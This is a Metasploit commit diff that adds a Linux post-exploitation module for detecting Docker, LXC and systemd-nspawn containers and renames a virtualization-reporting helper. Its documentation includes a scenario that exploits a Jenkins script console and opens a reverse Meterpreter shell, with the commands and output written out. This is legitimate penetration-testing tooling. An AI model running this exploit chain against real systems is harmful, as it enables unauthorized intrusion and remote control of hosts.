Land #8799, Add module to detect Docker, LXC, and systemd-nspawn containers

bug/bundler_fix
Brent Cook 2017-08-20 14:45:57 -05:00
commit f7dc831e9a
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
6 changed files with 153 additions and 12 deletions

View File

@ -0,0 +1,76 @@
## Indicators
There are several indicators that a process is being executed inside of a container. This module looks for the following indicators:
1. Presence of `/.dockerenv` file indicates Docker.
2. Finding select strings in `/proc/1/cgroup` indicates LXC or Docker.
3. The value of the `container` environment variable in `/proc/1/environ` indicates LXC or systemd nspawn.
## Verification Steps
1. Start msfconsole
2. Get a session via exploit of your choice
3. `run post/linux/gather/checkcontainer`
4. You should get feedback if a container was detected
## Options
**SESSION**
Which session to use, which can be viewed with `sessions -l`
## Scenarios
Check if the jenkins instance you have a shell on is running inside a Docker container.
```
msf > use exploit/multi/http/jenkins_script_console
msf exploit(jenkins_script_console) > set API_TOKEN bc3dbc5c328733cc826c15772e6eaef5
API_TOKEN => bc3dbc5c328733cc826c15772e6eaef5
msf exploit(jenkins_script_console) > set RHOST 10.0.0.40
RHOST => 10.0.0.40
msf exploit(jenkins_script_console) > set RPORT 8080
RPORT => 8080
msf exploit(jenkins_script_console) > set TARGETURI /
TARGETURI => /
msf exploit(jenkins_script_console) > set TARGET 1
TARGET => 1
msf exploit(jenkins_script_console) > set USERNAME user
USERNAME => user
msf exploit(jenkins_script_console) > run
[*] Started reverse TCP handler on 10.0.0.49:4444
[*] Checking access to the script console
[*] Authenticating with token...
[*] Using CSRF token: 'b83d12171ba5248100f1de20e6472067' (Jenkins-Crumb style)
[*] 10.0.0.40:8080 - Sending Linux stager...
[*] Sending stage (826840 bytes) to 10.0.0.40
[*] Meterpreter session 1 opened (10.0.0.49:4444 -> 10.0.0.40:54404) at 2017-08-16 20:56:23 -0500
[!] Deleting /tmp/aFdmPcC payload file
meterpreter > run post/linux/gather/checkcontainer
[+] This appears to be a 'Docker' container
meterpreter >
```
Detect a LXC container
```
meterpreter > run post/linux/gather/checkcontainer
[+] This appears to be a 'LXC' container
meterpreter >
```
Detect a systemd nspawn container
```
meterpreter > run post/linux/gather/checkcontainer
[+] This appears to be a 'systemd nspawn' container
meterpreter >
```
Detect nothing
```
meterpreter > run post/linux/gather/checkcontainer
[*] This does not appear to be a container
meterpreter >
```

View File

@ -135,7 +135,7 @@ module Msf::DBManager::Host
# +:arch+:: -- one of the ARCH_* constants
# +:mac+:: -- the host's MAC address
# +:scope+:: -- interface identifier for link-local IPv6
# +:virtual_host+:: -- the name of the VM host software, eg "VMWare", "QEMU", "Xen", etc.
# +:virtual_host+:: -- the name of the virtualization software, eg "VMWare", "QEMU", "Xen", "Docker", etc.
#
def report_host(opts)

View File

@ -167,19 +167,19 @@ module Msf::Post::Common
end
#
# Reports to the database that the host is a virtual machine and reports
# the type of virtual machine it is (e.g VirtualBox, VMware, Xen)
# Reports to the database that the host is using virtualization and reports
# the type of virtualization it is (e.g VirtualBox, VMware, Xen, Docker)
#
def report_vm(vm)
def report_virtualization(virt)
return unless session
return unless vm
vm_normal = vm.to_s.strip
return if vm_normal.empty?
vm_data = {
return unless virt
virt_normal = virt.to_s.strip
return if virt_normal.empty?
virt_data = {
:host => session.target_host,
:virtual_host => vm_normal
:virtual_host => virt_normal
}
report_host(vm_data)
report_host(virt_data)
end
#

View File

@ -0,0 +1,65 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
def initialize(info={})
super( update_info( info,
'Name' => 'Linux Gather Container Detection',
'Description' => %q{
This module attempts to determine whether the system is running
inside of a container and if so, which one. This module supports
detection of Docker, LXC, and systemd nspawn.},
'License' => MSF_LICENSE,
'Author' => [ 'James Otten <jamesotten1[at]gmail.com>'],
'Platform' => [ 'linux' ],
'SessionTypes' => [ 'shell', 'meterpreter' ]
))
end
# Run Method for when run command is issued
def run
container = nil
# Check for .dockerenv file
if container.nil?
if file?("/.dockerenv")
container = "Docker"
end
end
# Check cgroup on PID 1
if container.nil?
cgroup = read_file("/proc/1/cgroup")
if cgroup
case cgroup.tr("\n", " ")
when /docker/i
container = "Docker"
when /lxc/i
container = "LXC"
end
end
end
# Check for the "container" environment variable
if container.nil?
container_variable = get_env("container")
case container_variable
when "lxc"
container = "LXC"
when "systemd-nspawn"
container = "systemd nspawn"
end
end
if container
print_good("This appears to be a '#{container}' container")
report_virtualization(container)
else
print_status("This does not appear to be a container")
end
end
end

View File

@ -150,7 +150,7 @@ class MetasploitModule < Msf::Post
if vm
print_good("This appears to be a '#{vm}' virtual machine")
report_vm(vm)
report_virtualization(vm)
else
print_status("This does not appear to be a virtual machine")
end

View File

@ -324,7 +324,7 @@ class MetasploitModule < Msf::Post
found ||= xenchk(session)
found ||= qemuchk(session)
if found
report_vm(found)
report_virtualization(found)
else
print_status("#{sysinfo['Computer']} appears to be a Physical Machine")
end